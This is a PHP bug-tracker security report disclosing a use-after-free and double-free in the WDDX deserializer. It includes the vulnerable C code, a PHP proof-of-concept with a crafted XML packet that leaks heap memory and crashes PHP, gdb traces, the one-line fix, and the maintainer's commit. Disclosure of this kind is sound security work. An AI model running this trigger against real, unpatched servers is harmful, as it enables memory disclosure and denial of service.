php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71587 Use-After-Free / Double-Free in WDDX Deserialize
Submitted: 2016-02-14 10:35 UTC Modified: 2016-03-02 06:38 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.5.32 OS: Linux, Unix
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: manhluat at vnsecurity dot net
New email:
PHP Version: OS:

 

 [2016-02-14 10:35 UTC] manhluat at vnsecurity dot net
Description:
------------
There is use-after-free flaw in WDDX Deserialize implement when trying to process XML data.


******************** SNIP ********************
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
...
	} else if (!strcmp((char *)name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;

		ZVAL_STR(&ent.data, ZSTR_EMPTY_ALLOC());
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry));
...
	} else if (!strcmp((char *)name, EL_VAR)) {
		int i;

		if (atts) for (i = 0; atts[i]; i++) {
			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
				stack->varname = estrdup((char *)atts[i]);
				break;
			}
		}
...
******************** SNIP ********************

The name of the following data is specified by attribute 'name' of 'var' tag.

For example, when I was trying to set the name of <string> data.

It will then do `SET_STACK_VARNAME` which does the following producere:


******************** SNIP ********************
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\
******************** SNIP ********************

You can see that if stack->varname is exists, it will assign ent.varname by that value.

Here is our problem, what would happen if I open <var> then close it immediately prior to processing <string> tag.

It would call handlers for push/pop elements.


******************** SNIP ********************
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	st_entry 			*ent1, *ent2;
	wddx_stack 			*stack = (wddx_stack *)user_data;
	HashTable 			*target_hash;
	zend_class_entry 	*pce;
	zval				obj;
...
	} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
		efree(stack->varname);
...

}

******************** SNIP ********************


In php_wddx_pop_element(), it was free-ing stack->varname, when closing tag. But...it doesn't re-assign it by NULL ?!.

And it will process data in <string> tag and set ent.varname by that `freed` value.

That's how we manipulate this use-after-free issues.

You can run below PoC and see memory leak value.

Furthermore, We probably causes Double-Free from this bug.



******************** SNIP ********************
static void php_wddx_process_data(void *user_data, const XML_Char *s, int len)
{
	st_entry *ent;
	wddx_stack *stack = (wddx_stack *)user_data;
...
			case ST_BOOLEAN:
				if (!strcmp((char *)s, "true")) {
					Z_LVAL(ent->data) = 1;
				} else if (!strcmp((char *)s, "false")) {
					Z_LVAL(ent->data) = 0;
				} else {
					stack->top--;
					zval_ptr_dtor(&ent->data);
					if (ent->varname)
						efree(ent->varname);
					efree(ent);
				}
				break;
...

******************** SNIP ********************

If the value of <boolean> tag is neither "true" nor "false", it will free ent->varname once more (double-free).

Below backtrace of gdb will give you details.



* Notice
- Calculated crafting will even cause crash and let it over-write data to other segments in PHP5 ubuntu package.
- Effects on 32-bit,64-bit as well.

* Fix
	} else if (!strcmp((char *)name, EL_VAR) && stack->varname) {
		efree(stack->varname);
+		stack->varname = NULL;
		}

Test script:
---------------
<?php

$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
    <array>
         <var name='ML'></var>
            <string>manhluat</string>
         <var name='ML2'></var>
         	<boolean value='a'/>
         <boolean value='true'/>
    </array>
</wddxPacket>
EOF;

$wddx = wddx_deserialize($xml);
var_dump($wddx);
// Print mem leak
foreach($wddx as $k=>$v)
	printf("Key: %s\nValue: %s\n",bin2hex($k),bin2hex($v));

?>

Expected result:
----------------
root@ubuntu:~/test/debug/php-7.0.3# php5 -v
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# php5 /root/test/php-7.0.3/poc/1.php 

array(2) {
  ["manhluat"]=>
  string(8) "��+�@"
  [0]=>
  bool(true)
}
Key: 6d616e686c756174
Value: 6d616e686c756174
Segmentation fault (core dumped)
root@ubuntu:~/test/debug/php-7.0.3# 

--------------------------------------------
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php -v
PHP 7.0.3 (cli) (built: Feb  7 2016 14:42:27) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
root@ubuntu:~/test/debug/php-7.0.3# ./sapi/cli/php /root/test/php-7.0.3/poc/1.php

array(2) {
  [" `�d"]=>
  string(8) "manhluat"
  [0]=>
  bool(true)
}
Key: 102060dd647f <-- LEAK LEAK!!!
Value: 6d616e686c756174
Key: 30
Value: 31
root@ubuntu:~/test/debug/php-7.0.3# 

Actual result:
--------------
gdb-peda$ r /root/test/php-7.0.3/poc/1.php
Starting program: /root/test/debug/php-7.0.3/sapi/cli/php /root/test/php-7.0.3/poc/1.php

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff6402008 (0x00007ffff6402008)
RBX: 0x125e2a8 --> 0x65756c6176 ('value')
RCX: 0x124a860 --> 0x1240061 --> 0x123f4 
RDX: 0x1 
RSI: 0xe0fe99 --> 0xe0000065736c6166 
RDI: 0x7ffff6402008 (0x00007ffff6402008)
RBP: 0x7fffffffa530 --> 0x7fffffffa670 --> 0x7fffffffa6e0 --> 0x125cc60 --> 0x125df70 --> 0x0 
RSP: 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001 
RIP: 0x7ce9ad (<php_wddx_process_data+1679>:    call   0x8509e0 <_efree>)
R8 : 0x0 
R9 : 0x0 
R10: 0x125e2a8 --> 0x65756c6176 ('value')
R11: 0x3 
R12: 0x50 ('P')
R13: 0x125ad33 ("value='a'/>\n         <boolean value='true'/>\n    </array>\n</wddxPacket>")
R14: 0x125e6e0 --> 0x125e2a8 --> 0x65756c6176 ('value')
R15: 0x1
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ce99f <php_wddx_process_data+1665>:       mov    rax,QWORD PTR [rbp-0x120]
   0x7ce9a6 <php_wddx_process_data+1672>:       mov    rax,QWORD PTR [rax+0x18]
   0x7ce9aa <php_wddx_process_data+1676>:       mov    rdi,rax
=> 0x7ce9ad <php_wddx_process_data+1679>:       call   0x8509e0 <_efree>
   0x7ce9b2 <php_wddx_process_data+1684>:       mov    rax,QWORD PTR [rbp-0x120]
   0x7ce9b9 <php_wddx_process_data+1691>:       mov    rdi,rax
   0x7ce9bc <php_wddx_process_data+1694>:       call   0x8509e0 <_efree>
   0x7ce9c1 <php_wddx_process_data+1699>:       jmp    0x7ceb81 <php_wddx_process_data+2147>
Guessed arguments:
arg[0]: 0x7ffff6402008 (0x00007ffff6402008)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa3d0 --> 0x7ffff6401520 --> 0x7ffff64563f0 --> 0x700000001 
0008| 0x7fffffffa3d8 --> 0x1681a4b18 
0016| 0x7fffffffa3e0 --> 0x124a860 --> 0x1240061 --> 0x123f4 
0024| 0x7fffffffa3e8 --> 0x7fffffffa9b0 --> 0x1000000001 
0032| 0x7fffffffa3f0 --> 0x7ffff7fda5f0 --> 0x7ffff7ffe1c8 --> 0x0 
0040| 0x7fffffffa3f8 --> 0xf7de4816 
0048| 0x7fffffffa400 --> 0xffffffff 
0056| 0x7fffffffa408 --> 0xfffffff900001406 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00000000007ce9ad in php_wddx_process_data (user_data=0x7fffffffa9b0, s=0x124a860 "a", len=0x1) at /root/test/debug/php-7.0.3/ext/wddx/wddx.c:1011
1011                                                    efree(ent->varname);
gdb-peda$ c
Continuing.
array(2) {
  [" @�"]=>
  string(8) "manhluat"
  [0]=>
  bool(true)
}
Key: 102040f6ff7f
Value: 6d616e686c756174
Key: 30
Value: 31
[Inferior 1 (process 32505) exited normally]
Warning: not running or target is remote
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-14 10:38 UTC] manhluat at vnsecurity dot net
Following backtrace is debug information of php5 ubuntu's package which cause crash.



gdb-peda$ r -v
Starting program: /usr/bin/php5 -v
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
[Inferior 1 (process 32525) exited normally]
Warning: not running or target is remote
gdb-peda$ r /root/test/php-7.0.3/poc/1.php
Starting program: /usr/bin/php5 /root/test/php-7.0.3/poc/1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

array(2) {
  ["manhluat"]=>
  string(8) "�b���"
  [0]=>
  bool(true)
}
Key: 6d616e686c756174
Value: 6d616e686c756174

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7003043 (<__bam_merge_44_recover+435>:      (bad))
RBX: 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:  rex)
RCX: 0x33 ('3')
RDX: 0x0 
RSI: 0x3 
RDI: 0xebed40 --> 0x1 
RBP: 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1')
RSP: 0x7fffffffabf0 --> 0x10059797b 
RIP: 0x63b117 (<zif_bin2hex+103>:       mov    BYTE PTR [rax+rdx*2],cl)
R8 : 0xb55f00 ("0123456789abcdef")
R9 : 0x7ffff7f96080 --> 0x7ffff7f96088 --> 0x7ffff7fc9d88 --> 0x7ffff7fc9da8 --> 0x31 ('1')
R10: 0xebcf80 --> 0x0 
R11: 0x7ffff7f962b0 --> 0x7ffff7fc9db8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:    rex)
R12: 0x1 
R13: 0xea06ae --> 0x0 
R14: 0x7ffff7fc98b8 --> 0x79e7b0 (<ZEND_DO_FCALL_SPEC_CONST_HANDLER>:   push   r14)
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x63b10c <zif_bin2hex+92>:   shr    cl,0x4
   0x63b10f <zif_bin2hex+95>:   and    ecx,0xf
   0x63b112 <zif_bin2hex+98>:   movzx  ecx,BYTE PTR [r8+rcx*1]
=> 0x63b117 <zif_bin2hex+103>:  mov    BYTE PTR [rax+rdx*2],cl
   0x63b11a <zif_bin2hex+106>:  movzx  ecx,BYTE PTR [rbx+rdx*1]
   0x63b11e <zif_bin2hex+110>:  and    ecx,0xf
   0x63b121 <zif_bin2hex+113>:  movzx  ecx,BYTE PTR [r8+rcx*1]
   0x63b126 <zif_bin2hex+118>:  mov    BYTE PTR [rax+rdx*2+0x1],cl
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffabf0 --> 0x10059797b 
0008| 0x7fffffffabf8 --> 0x7ffff7fcb090 --> 0x7ffff7000031 (<__bam_split_42_recover+1617>:      rex)
0016| 0x7fffffffac00 --> 0xea06ac --> 0x0 
0024| 0x7fffffffac08 --> 0xf04bd0 --> 0x7fffffffcf01 --> 0x700000000000000 
0032| 0x7fffffffac10 --> 0xebcf80 --> 0x0 
0040| 0x7fffffffac18 --> 0x6de08b (<dtrace_execute_internal+43>:        cmp    WORD PTR [rbx],0x0)
0048| 0x7fffffffac20 --> 0x0 
0056| 0x7fffffffac28 --> 0x6fb84c (<_zend_hash_quick_add_or_update+1004>:       test   rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000063b117 in php_bin2hex (newlen=<synthetic pointer>, oldlen=0x1, old=0x7ffff7fcb090 "1") at /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c:143
143     /build/php5-pO28mL/php5-5.5.9+dfsg/ext/standard/string.c: No such file or directory.
 [2016-02-15 04:19 UTC] stas@php.net
-PHP Version: 7.0.3 +PHP Version: 5.5.32
 [2016-02-15 06:35 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-15 07:20 UTC] stas@php.net
Committed to security repo as b1bd4119bcafab6f9a8f84d92cd65eec3afeface.

Also please see and verify https://gist.github.com/anonymous/e10c9fb9e148c17cef44
 [2016-02-15 12:29 UTC] manhluat at vnsecurity dot net
well, the issue is fixed.
 [2016-03-02 06:39 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 [2016-03-02 06:39 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-02 06:56 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b1bd4119bcafab6f9a8f84d92cd65eec3afeface
Log: Fixed bug #71587 - Use-After-Free / Double-Free in WDDX Deserialize
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 17:01:29 2024 UTC